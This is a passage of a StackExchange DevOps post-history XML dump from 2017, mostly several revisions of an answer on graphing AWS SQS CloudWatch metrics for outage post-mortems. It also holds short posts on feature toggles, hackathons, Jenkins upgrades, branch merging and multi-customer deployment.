queue reading component began reading messages again.&#xD;&#xA;&#xD;&#xA;This graph helps answer both &quot;How long was it?&quot; and &quot;How bad was it?&quot;, by showing how many messages were impacted over time.&#xD;&#xA;  &#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;In both graphs, queue processing can generally be considered healthy when the lines overlap, and unhealthy when the lines diverge.  This is an easy pattern to teach to a non-technical team member, and can help them to quickly dissemenate where and how there are problems when presented with these graphs.&#xD;&#xA;&#xD;&#xA;To further communicate specific points in graphs, you can simply annotate them:&#xD;&#xA;&#xD;&#xA;[![Both previous graphs with annotations.][4]][4]&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;I've formatted these graphs for presentation on StackExchange, so these aren't necessarily how I would present them in an outage post-mortem.  Some additional tips:&#xD;&#xA;&#xD;&#xA;* Label units and axes.  (I have explicitly removed values from the left axis here to obscure them from StackExchange; you'll want to keep them in your post-mortems.)&#xD;&#xA;* Use consistent colors for matching metrics across graphs.  Note that NumberOfMessagesReceived is orange in both graphs; this will help visualize the same metric across different graphs.&#xD;&#xA;* Vertically align graphs that describe similar metrics so that they are easier to compare across time.&#xD;&#xA;* Consider setting up a [CloudWatch Dashboard][5] and giving your non-technical team members [read-only IAM access to CloudWatch][6], so that they can view these graphs any time.&#xD;&#xA;* Consider setting up [Cloudwatch Alarms][7] based on the ApproximateNumberOfMessagesVisible metric if it exceeds some agreed-upon high value, and subscribe team members to notify them of potential issues. Cloudwatch Alarms have description fields that are sent along with the notification emails -- make sure to include a human-readable description to help your non-technical members disseminate the alarm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/sqs-metricscollected.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/3xFKQ.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/An7Dw.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kumc6.png&#xD;&#xA;  [5]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Dashboards.html&#xD;&#xA;  [6]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/iam-identity-based-access-control-cw.html#read-only-access-example-cw&#xD;&#xA;  [7]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1100" PostHistoryTypeId="2" PostId="372" RevisionGUID="83e59308-1a2c-41a8-80a4-a70ef42291f3" CreationDate="2017-03-06T04:45:06.423" UserId="47" Text="If the project is for a startup's minimum viable product or some other sort of sanity-check/proof of concept effort - hackathon before DevOps is often recommended - basically in the &quot;fail-fast/fail cheap&quot; [lean startup strategy][1].&#xD;&#xA;&#xD;&#xA;Some might recommend hackathon before DevOps in other situations as well, for time-to-market reasons. But if DevOps doesn't followup fast enough that initial market bridgehead can easily collapse. Poosible reasons for that include:&#xD;&#xA;&#xD;&#xA;- that early momentum can be ephemeral - easily lost as soon as the DevOps process starts to be established (&quot;it's too hard, it's slowing us down&quot;)&#xD;&#xA;&#xD;&#xA;- typically hackathons cause accumulation of technical debt. The cost of managing and eliminating it can outweighs the benefits of that early momentum.&#xD;&#xA;&#xD;&#xA;  [1]: http://theleanstartup.com/principles" ContentLicense="CC BY-SA 3.0" />
  <row Id="1101" PostHistoryTypeId="5" PostId="371" RevisionGUID="e051fa73-870e-4621-9e4f-8a0d4da6e896" CreationDate="2017-03-06T04:51:02.510" UserId="36" Comment="Improved formatting." Text="As with any outage communications, a non-technical reader will be primarily looking to understand:&#xD;&#xA;&#xD;&#xA;* How long was it?&#xD;&#xA;* How bad was it?&#xD;&#xA;&#xD;&#xA;Amazon CloudWatch metrics provides the following [metrics for SQS queues][1] that can help answer these questions:&#xD;&#xA;&#xD;&#xA;* **NumberOfMessagesSent:** The number of messages added to a queue.&#xD;&#xA;* **NumberOfMessagesReceived:** The number of messages returned by calls to the ReceiveMessage API action.&#xD;&#xA;* **ApproximateNumberOfMessagesVisible:** The number of messages available for retrieval from the queue.&#xD;&#xA;&#xD;&#xA;When graphed correctly, these metrics can be powerful visual aides in describing queue processing delays. Here are a couple of examples from an outage I experienced where the job's capacity to process queue messages was severely degraded:&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesSent &amp; NumberOfMessagesReceived &#xD;&#xA;&#xD;&#xA;* **Graph Type:** Line Graph&#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesSent &amp; NumberOfMessagesReceived][2]][2]&#xD;&#xA;&#xD;&#xA;This graphs the contrast between messages sent and received, which helps isolate which processing component is responsible for the delay. In this graph, the received metric drops dramatically while the sent metric continues on its normal trend, so we can infer that the issue lies in the queue reading component instead of the queue writing component.&#xD;&#xA;&#xD;&#xA;This graph helps answer both &quot;How long was it?&quot; and &quot;How bad was it?&quot;, by showing which processes were impacted over time.&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible&#xD;&#xA;&#xD;&#xA;* **Graph Type:** Stacked Area Graph &#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible][3]][3]&#xD;&#xA;&#xD;&#xA;This graphs the queue depth on top of messages received, which helps show how far the queue backed up and how it recovered. In this graph, we can see that the queue depth backed up dramatically while the queue reading component was having issues, and began recovering when the queue reading component began reading messages again.&#xD;&#xA;&#xD;&#xA;This graph helps answer both &quot;How long was it?&quot; and &quot;How bad was it?&quot;, by showing how many messages were impacted over time.&#xD;&#xA;  &#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;In both graphs, queue processing can generally be considered healthy when the lines overlap, and unhealthy when the lines diverge.  This is an easy pattern to teach to a non-technical team member, and can help them to quickly dissemenate where and how there are problems when presented with these graphs.&#xD;&#xA;&#xD;&#xA;To further communicate specific points in graphs, you can simply annotate them:&#xD;&#xA;&#xD;&#xA;[![Both previous graphs with annotations.][4]][4]&#xD;&#xA;&#xD;&#xA;Notes: &#xD;&#xA;&#xD;&#xA;* I've formatted these graphs for presentation on StackExchange, so these aren't necessarily how I would present them in an outage post-mortem.&#xD;&#xA;* I have explicitly removed values from the left axis here to obscure them from StackExchange; you'll want to keep them in your post-mortems.  &#xD;&#xA;&#xD;&#xA;## Additional tips&#xD;&#xA;&#xD;&#xA;* **Concerning graphs:**&#xD;&#xA;  * Label units and axes.&#xD;&#xA;  * Use consistent colors for matching metrics across graphs.  Note that NumberOfMessagesReceived is orange in both graphs; this will help visualize the same metric across different graphs.&#xD;&#xA;  * Vertically align graphs that describe similar metrics so that they are easier to compare across time.&#xD;&#xA;* **Empower Your Team:** After training your team members to read these graphs, there is no reason keep them hidden away. Consider setting up a [CloudWatch Dashboard][5] and giving your non-technical team members [read-only IAM access to CloudWatch][6], so that they can view these graphs any time.&#xD;&#xA;* **Set Up Notifications:** Consider setting up [Cloudwatch Alarms][7] based on the ApproximateNumberOfMessagesVisible metric if it exceeds some agreed-upon high value, and subscribe team members to notify them of potential issues. Cloudwatch Alarms have description fields that are sent along with the notification emails -- make sure to include a human-readable description to help your non-technical members disseminate the alarm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/sqs-metricscollected.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/3xFKQ.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/An7Dw.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kumc6.png&#xD;&#xA;  [5]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Dashboards.html&#xD;&#xA;  [6]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/iam-identity-based-access-control-cw.html#read-only-access-example-cw&#xD;&#xA;  [7]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1102" PostHistoryTypeId="5" PostId="371" RevisionGUID="62b51a15-b29b-4f15-850d-3a8fda259750" CreationDate="2017-03-06T04:56:07.100" UserId="36" Comment="Improved formatting." Text="As with any outage communications, a non-technical reader will be primarily looking to understand:&#xD;&#xA;&#xD;&#xA;* How long was it?&#xD;&#xA;* How bad was it?&#xD;&#xA;&#xD;&#xA;Amazon CloudWatch metrics provides the following [metrics for SQS queues][1] that can help answer these questions:&#xD;&#xA;&#xD;&#xA;* **NumberOfMessagesSent:** The number of messages added to a queue.&#xD;&#xA;* **NumberOfMessagesReceived:** The number of messages returned by calls to the ReceiveMessage API action.&#xD;&#xA;* **ApproximateNumberOfMessagesVisible:** The number of messages available for retrieval from the queue.&#xD;&#xA;&#xD;&#xA;When graphed correctly, these metrics can be powerful visual aides in describing queue processing delays. Here are a couple of examples from an outage I experienced where the job's capacity to process queue messages was severely degraded:&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesSent &amp; NumberOfMessagesReceived &#xD;&#xA;&#xD;&#xA;* **Graph Type:** Line Graph&#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesSent &amp; NumberOfMessagesReceived][2]][2]&#xD;&#xA;&#xD;&#xA;This graphs the contrast between messages sent and received, which helps isolate which processing component is responsible for the delay. In this graph, the received metric drops dramatically while the sent metric continues on its normal trend, so we can infer that the issue lies in the queue reading component instead of the queue writing component.&#xD;&#xA;&#xD;&#xA;This graph helps answer both &quot;How long was it?&quot; and &quot;How bad was it?&quot;, by showing which processes were impacted over time.&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible&#xD;&#xA;&#xD;&#xA;* **Graph Type:** Stacked Area Graph &#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible][3]][3]&#xD;&#xA;&#xD;&#xA;This graphs the queue depth on top of messages received, which helps show how far the queue backed up and how it recovered. In this graph, we can see that the queue depth backed up dramatically while the queue reading component was having issues, and began recovering when the queue reading component began reading messages again.&#xD;&#xA;&#xD;&#xA;This graph helps answer both &quot;How long was it?&quot; and &quot;How bad was it?&quot;, by showing how many messages were impacted over time.&#xD;&#xA;  &#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;In both graphs, queue processing can generally be considered healthy when the lines overlap, and unhealthy when the lines diverge.  This is an easy pattern to teach to a non-technical team member, and can help them to quickly dissemenate where and how there are problems when presented with these graphs.&#xD;&#xA;&#xD;&#xA;To further communicate specific points in graphs, you can simply annotate them:&#xD;&#xA;&#xD;&#xA;[![Both previous graphs with annotations.][4]][4]&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&lt;sub&gt;**Note:** I've formatted these graphs for presentation on StackExchange, so these aren't necessarily how I would present them in an outage post-mortem. I have explicitly removed values from the left axis here to obscure them from StackExchange; you'll want to keep them in your post-mortems.&lt;/sub&gt;&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;## Additional tips&#xD;&#xA;&#xD;&#xA;* **Concerning graphs:**&#xD;&#xA;  * Label units and axes.&#xD;&#xA;  * Use consistent colors for matching metrics across graphs.  Note that NumberOfMessagesReceived is orange in both graphs; this will help visualize the same metric across different graphs.&#xD;&#xA;  * Vertically align graphs that describe similar metrics so that they are easier to compare across time.&#xD;&#xA;* **Empower Your Team:** After training your team members to read these graphs, there is no reason keep them hidden away. Consider setting up a [CloudWatch Dashboard][5] and giving your non-technical team members [read-only IAM access to CloudWatch][6], so that they can view these graphs any time.&#xD;&#xA;* **Set Up Notifications:** Consider setting up [Cloudwatch Alarms][7] based on the ApproximateNumberOfMessagesVisible metric if it exceeds some agreed-upon high value, and subscribe team members to notify them of potential issues. Cloudwatch Alarms have description fields that are sent along with the notification emails -- make sure to include a human-readable description to help your non-technical members disseminate the alarm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/sqs-metricscollected.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/3xFKQ.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/An7Dw.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kumc6.png&#xD;&#xA;  [5]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Dashboards.html&#xD;&#xA;  [6]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/iam-identity-based-access-control-cw.html#read-only-access-example-cw&#xD;&#xA;  [7]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1103" PostHistoryTypeId="5" PostId="371" RevisionGUID="a34e72be-8d59-435a-97eb-5e14434c74a8" CreationDate="2017-03-06T05:02:02.853" UserId="36" Comment="Improved formatting." Text="As with any outage communications, a non-technical reader will be primarily looking to understand:&#xD;&#xA;&#xD;&#xA;* How long was it?&#xD;&#xA;* How bad was it?&#xD;&#xA;&#xD;&#xA;Amazon CloudWatch metrics provides the following [metrics for SQS queues][1] that can help answer these questions:&#xD;&#xA;&#xD;&#xA;* **NumberOfMessagesSent:** The number of messages added to a queue.&#xD;&#xA;* **NumberOfMessagesReceived:** The number of messages returned by calls to the ReceiveMessage API action.&#xD;&#xA;* **ApproximateNumberOfMessagesVisible:** The number of messages available for retrieval from the queue.&#xD;&#xA;&#xD;&#xA;When graphed correctly, these metrics can be powerful visual aides in describing queue processing delays. Here are a couple of examples from an outage I experienced where the job's capacity to process queue messages was severely degraded:&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesSent &amp; NumberOfMessagesReceived &#xD;&#xA;&#xD;&#xA;* **Graph Type:** Line Graph&#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesSent &amp; NumberOfMessagesReceived][2]][2]&#xD;&#xA;&#xD;&#xA;This graphs the contrast between messages sent and received, which helps isolate which processing component is responsible for the delay. In this graph, the received metric drops dramatically while the sent metric continues on its normal trend, so we can infer that the issue lies in the queue reading component instead of the queue writing component.&#xD;&#xA;&#xD;&#xA;**Does this answer how long/how bad event was?** Yes; describes processes impacted over time.&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible&#xD;&#xA;&#xD;&#xA;* **Graph Type:** Stacked Area Graph &#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible][3]][3]&#xD;&#xA;&#xD;&#xA;This graphs the queue depth on top of messages received, which helps show how far the queue backed up and how it recovered. In this graph, we can see that the queue depth backed up dramatically while the queue reading component was having issues, and began recovering when the queue reading component began reading messages again.&#xD;&#xA;&#xD;&#xA;**Does this answer how long/how bad event was?** Yes; describes messages impacted over time.&#xD;&#xA; &#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;## Graphing Discussion&#xD;&#xA;&#xD;&#xA;In both graphs, queue processing can generally be considered healthy when the lines overlap, and unhealthy when the lines diverge.  This is an easy pattern to teach to a non-technical team member, and can help them to quickly dissemenate where and how there are problems when presented with these graphs.&#xD;&#xA;&#xD;&#xA;To further communicate specific points in graphs, you can simply annotate them:&#xD;&#xA;&#xD;&#xA;[![Both previous graphs with annotations.][4]][4]&#xD;&#xA;&#xD;&#xA;**Graphing Tips:**&#xD;&#xA;&#xD;&#xA;* Label units and axes.&#xD;&#xA;* Use consistent colors for matching metrics across graphs.  Note that NumberOfMessagesReceived is orange in both graphs; this will help visualize the same metric across different graphs.&#xD;&#xA;* Vertically align graphs that describe similar metrics so that they are easier to compare across time.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&lt;sub&gt;**Note:** I've formatted these graphs for presentation on StackExchange, so these aren't necessarily how I would present them in an outage post-mortem. I have explicitly removed values from the left axis here to obscure them from StackExchange; you'll want to keep them in your post-mortems.&lt;/sub&gt;&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;## Additional tips&#xD;&#xA;&#xD;&#xA;* **Empower Your Team:** After training your team members to read these graphs, there is no reason keep them hidden away. Consider setting up a [CloudWatch Dashboard][5] and giving your non-technical team members [read-only IAM access to CloudWatch][6], so that they can view these graphs any time.&#xD;&#xA;* **Set Up Notifications:** Consider setting up [Cloudwatch Alarms][7] based on the ApproximateNumberOfMessagesVisible metric if it exceeds some agreed-upon high value, and subscribe team members to notify them of potential issues. Cloudwatch Alarms have description fields that are sent along with the notification emails -- make sure to include a human-readable description to help your non-technical members disseminate the alarm.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/sqs-metricscollected.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/3xFKQ.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/An7Dw.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kumc6.png&#xD;&#xA;  [5]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Dashboards.html&#xD;&#xA;  [6]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/iam-identity-based-access-control-cw.html#read-only-access-example-cw&#xD;&#xA;  [7]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1104" PostHistoryTypeId="2" PostId="373" RevisionGUID="526b1e8d-7320-4696-98b9-36162015cf40" CreationDate="2017-03-06T05:10:43.287" UserId="47" Text="A successful high-velocity development environment typically relies on a pretty strict automated system involving quality verifications with detection and rejection of faulty changes causing regressions.&#xD;&#xA;&#xD;&#xA;Feature toggles offer the ability to commit even work-in-progress, untested changes without getting rejected for causing regressions in the integration branch. Which constitues a very good **incentive** to introduce the feature toggles very early in the life of the feature.&#xD;&#xA;&#xD;&#xA;One of the disadvantages of deviating from true CI and moving feature development on feature branches is the lack of such incentive. Adding the feature toggle later on, when merging the feature branch into the integration branch is typically more difficult, like any late integration." ContentLicense="CC BY-SA 3.0" />
  <row Id="1105" PostHistoryTypeId="2" PostId="374" RevisionGUID="fb8bdb1c-12ce-47ea-bace-97b4c1906840" CreationDate="2017-03-06T06:05:39.533" UserId="47" Text="Question inspired by http://devops.stackexchange.com/questions/341/how-to-persuade-developers-to-start-using-feature-flag-toggles/343#343&#xD;&#xA;&#xD;&#xA;&gt; - Find a feature toggle framework. Management/the business may be more amenable to trying something supported by a common system&#xD;&#xA;&#xD;&#xA;and this comment on it:&#xD;&#xA;&#xD;&#xA;&gt; &#xD;&#xA;&gt;  +1 for the framework bit. I've seen too many people roll their own&#xD;&#xA;&gt; feature toggles and it's always nasty, nasty code. – Jduv 4 hours ago&#xD;&#xA;&#xD;&#xA;So which are those feature toggle frameworks?&#xD;&#xA;&#xD;&#xA;Pointers to the official framework sites are mandatory, but also at least some quotes from the site with a short description and maybe a summary of its features to not make them link-only answers. Comments about the personal experiences in using the frameworks are welcome.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1106" PostHistoryTypeId="1" PostId="374" RevisionGUID="fb8bdb1c-12ce-47ea-bace-97b4c1906840" CreationDate="2017-03-06T06:05:39.533" UserId="47" Text="What feature toggle frameworks are available out there?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1107" PostHistoryTypeId="3" PostId="374" RevisionGUID="fb8bdb1c-12ce-47ea-bace-97b4c1906840" CreationDate="2017-03-06T06:05:39.533" UserId="47" Text="&lt;feature-flags&gt;&lt;feature-toggles&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1108" PostHistoryTypeId="11" PostId="226" RevisionGUID="20d4b8e2-925d-4fd4-b118-b365a9fc1d9f" CreationDate="2017-03-06T06:38:50.943" UserId="-1" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:6,&quot;DisplayName&quot;:&quot;Evgeny&quot;},{&quot;Id&quot;:201,&quot;DisplayName&quot;:&quot;Peter G&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;},{&quot;Id&quot;:10,&quot;DisplayName&quot;:&quot;avi&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;}]}" />
  <row Id="1113" PostHistoryTypeId="2" PostId="376" RevisionGUID="6cd376cc-5c7c-49a5-98a9-3abac1665061" CreationDate="2017-03-06T07:57:08.597" UserId="550" Text="You can overwrite the existing jenkins.war file with the new one and then restart Jenkins.&#xD;&#xA;&#xD;&#xA;This file is usually located in /usr/share/jenkins.&#xD;&#xA;&#xD;&#xA;If this is not the case for your system, in Manage Jenkins -&gt; System Information, it will display the path to the .war file under executable-war.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1114" PostHistoryTypeId="6" PostId="344" RevisionGUID="cb3d470e-78d7-42fb-b81c-9bf62102a37a" CreationDate="2017-03-06T08:19:24.567" UserId="40" Comment="edited tags" Text="&lt;terminology&gt;&lt;feature-toggles&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1119" PostHistoryTypeId="5" PostId="351" RevisionGUID="7cc7fc0e-cb93-4de0-9c6f-6683f57f7c87" CreationDate="2017-03-06T08:36:23.823" UserId="40" Comment="added 6 characters in body; edited tags" Text="One method of continuous deployment is to decouple deployment from release, i.e. you deploy updates without activating the changes immediately.&#xD;&#xA;&#xD;&#xA;I know that [tag:feature-toggles] can be used for this, but I'm wondering if there are other techniques for &quot;non-features&quot;.&#xD;&#xA;&#xD;&#xA;For example, would you build a feature toggle for a bugfix? Probably not and one could argue that bugfixes should be deployed as soon as possible, because it can only get better. And after a bugfix has been released, I sure don't want to toggle it off anymore.&#xD;&#xA;But is this the case? It might be a risky change that you want to release in a controlled way. And if there *are* unexpected side effects, it's good to be able to roll it back. So, feature flags for every change?&#xD;&#xA;&#xD;&#xA;And what about visual changes? For example, can you implement something like a feature flag in CSS? Does it even make sense?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1120" PostHistoryTypeId="6" PostId="351" RevisionGUID="7cc7fc0e-cb93-4de0-9c6f-6683f57f7c87" CreationDate="2017-03-06T08:36:23.823" UserId="40" Comment="added 6 characters in body; edited tags" Text="&lt;deployment&gt;&lt;release-management&gt;&lt;feature-toggles&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1121" PostHistoryTypeId="2" PostId="377" RevisionGUID="580b9ec5-441d-40a5-b1c8-6a60112e3eda" CreationDate="2017-03-06T09:11:27.947" UserId="10" Text="DevOps is about the merging of information and processes between those who develop the software and those who deploy the software.&#xD;&#xA;&#xD;&#xA;If the goal of your hackathon is to produce code which can not, or should not be deployed anywhere, then sure it makes sense to get your proof of concept (PoC) coded before developing the deployment process.&#xD;&#xA;&#xD;&#xA;However, if you wish for a client (i.e. anybody who isn't one of the developers) to be able to view the PoC from a remote computer, then part of your hackathon already includes DevOps.  To not use DevOps for a PoC or Minimally Viable Product (MVP) would be a waste of resources and time, as you work on coordinating the deploy process with operations.&#xD;&#xA;&#xD;&#xA;DevOps will aide you in deploying more iterations of your PoC or MVP to be reviewed by more people in less time, and will thus enhance your Hackathon efforts." ContentLicense="CC BY-SA 3.0" />
  <row Id="1122" PostHistoryTypeId="5" PostId="341" RevisionGUID="63446181-a298-4ac3-b5b6-0bda55f499ab" CreationDate="2017-03-06T09:13:44.257" UserId="6" Comment="add link to 'what are fft' question" Text="Assuming that feature flag toggles are a good idea, and should be implemented into code that developers write. For example Etsy swear by them as a [major part of their culture][1].&#xD;&#xA;&#xD;&#xA;**What is a good way to persuade (and enforce) developers to start using feature flag toggles?**&#xD;&#xA;&#xD;&#xA;More information about feature flag toggles is explained in [Q: How to use feature flag toggles][2], [Q: What are feature flag toggles][3] and very extensively in Pete Hodgson's [article on the subject on Martin Fowler's blog][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://codeascraft.com/2011/02/04/how-does-etsy-manage-development-and-operations/&#xD;&#xA;  [2]: http://devops.stackexchange.com/questions/162/how-to-use-feature-flag-toggles&#xD;&#xA;  [3]: http://devops.stackexchange.com/questions/344/what-is-a-feature-flag-toggle-and-when-to-use-them-or-not&#xD;&#xA;  [4]: https://martinfowler.com/articles/feature-toggles.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="1123" PostHistoryTypeId="2" PostId="378" RevisionGUID="ce2cc664-e38a-4f33-a896-31a99490f9df" CreationDate="2017-03-06T09:31:40.050" UserId="10" Text="It is actually very simple to convert a multi-branched hydra repository into a single branched model.&#xD;&#xA;&#xD;&#xA;First, you want to start with the branches which have the least difference between itself and master or trunk. Examine their age and relevance. If they are still relevant, start merging them together and resolving conflicts. If they are no longer relevant, then delete them.&#xD;&#xA;&#xD;&#xA;Continue this process until you have managed to merge all your branches, resolved all conflicts, and you have only a single branch remaining.&#xD;&#xA;&#xD;&#xA;You can follow this simple outline to get started:&#xD;&#xA;&#xD;&#xA;  1. Create a copy of your master/trunk branch and call it `temp_master`&#xD;&#xA;  1. Find the branch with the greatest divergence from master/trunk.  &#xD;&#xA;  1. Determine if the branch needs to be kept, archived, or deleted.  &#xD;&#xA;     1. If it needs to be kept, continue to step 4.  &#xD;&#xA;     1. If it needs to be deleted or archived, delete and archive it, and then return to step 2.&#xD;&#xA;  1. Repeat step 2 to find the next branch with the least divergence.&#xD;&#xA;  1. Merge the two branches found in step 2 and step 3, resolving all conflicts.&#xD;&#xA;  1. Merge your these two branches into your `temp_master` branch.&#xD;&#xA;  1. Test the code in temp_master code to see if it compiles, and builds, and run any other automated tests you have for sanity.&#xD;&#xA;      1. If any tests fail, go back, find out why, and fix them, and repeat the process.  &#xD;&#xA;      1. If tests still fail, pick two different branches to work with.&#xD;&#xA;  1. Repeat steps 2 - 7 until you have only two branches, your master/trunk and `temp_master`.&#xD;&#xA;  1. Finally, merge `temp_master` into master/trunk and live with your new single-branch model." ContentLicense="CC BY-SA 3.0" />
  <row Id="1124" PostHistoryTypeId="5" PostId="369" RevisionGUID="77add59c-85b9-40a6-a38b-6d7d6e60e524" CreationDate="2017-03-06T09:59:46.807" UserId="13" Comment="Some formatting" Text="I am curious about the efficacy of using a &quot;hackathon&quot; to focus development early in a new project before moving a more formal DevOps process.  &#xD;&#xA;&#xD;&#xA;Does letting things start out fast and loose to get things going hamper later efforts to add process?  &#xD;&#xA;If so, how does one weigh the benefits of building that early momentum vs. establishing a good DevOps process?" ContentLicense="CC BY-SA 3.0" />
  <row Id="1125" PostHistoryTypeId="5" PostId="226" RevisionGUID="cce54cea-758c-473b-a370-58877326cb5f" CreationDate="2017-03-06T10:05:50.217" UserId="10" Comment="removed uneeded edit information." Text="I am working on an Angular2 project with Yii2 (PHP/MySQL) as its API point. We will need to deploy the Angular app in different languages for different customers (using AOT compilation from angular-cli).&#xD;&#xA;&#xD;&#xA;What is the best way to achieve this? I am looking at Docker or Ansible(-container) to make this work. But the examples are mainly for a 1:1 setup. But I would need a 1:n, something like:&#xD;&#xA;&#xD;&#xA;`deploy app-de new_costomer prod_server`&#xD;&#xA;&#xD;&#xA;Additional to that, when a new version of the app is available i want to update the entire network with the new app (that requires uploading of the src/ folder AOT compiled, and db migration scripts on the Yii2 side).&#xD;&#xA;&#xD;&#xA;Ideally it would do something like:&#xD;&#xA;&#xD;&#xA;`deploy update network-all prod_server`&#xD;&#xA;&#xD;&#xA;Any ideas?&#xD;&#xA;&#xD;&#xA;To clarify: I have a number of customers, each customer should get its own container (docker, through ansible-container). There is the AOT compiled Angular stuff (just JS) and the PHP backend with MySQL.&#xD;&#xA;&#xD;&#xA;Each customer gets this setup on a server (so 3 customers = 3 docker containers with the Angular + PHP + MySQL).&#xD;&#xA;&#xD;&#xA;We push updates to both Angular and PHP quite frequently (i.e. the entire DIST folder needs to be uploaded or at least a diff, migrations scripts for the PHP/MySQL backend needs to run, etc.).&#xD;&#xA;&#xD;&#xA;And this from one command (because I obviously do not want to have SSH into each container to do all that semi-manually).&#xD;&#xA;&#xD;&#xA;Since I have never done this kind of setup before, I would like to get some ideas on how this can achieved with things like Ansible (or the like).&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="1126" PostHistoryTypeId="24" PostId="226" RevisionGUID="cce54cea-758c-473b-a370-58877326cb5f" CreationDate="2017-03-06T10:05:50.217" Comment="Proposed by 10 approved by 13, 40 edit id of 107" ContentLicense="CC BY-SA 3.0" />
  <row Id="1127" PostHistoryTypeId="2" PostId="379" RevisionGUID="375d0bb9-446c-42fe-b145-232cd5f77d54" CreationDate="2017-03-06T10:08:23.837" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1128" PostHistoryTypeId="1" PostId="379" RevisionGUID="375d0bb9-446c-42fe-b145-232cd5f77d54" CreationDate="2017-03-06T10:08:23.837" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1129" PostHistoryTypeId="2" PostId="380" RevisionGUID="75201b03-f713-43a1-89a3-a3dded3fbc04" CreationDate="2017-03-06T10:08:23.837" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="1130" PostHistoryTypeId="1" PostId="380" RevisionGUID="75201b03-f713-43a1-89a3-a3dded3fbc04" CreationDate="2017-03-06T10:08:23.837" UserId="-1" ContentLicense="CC BY-SA 3.0" />
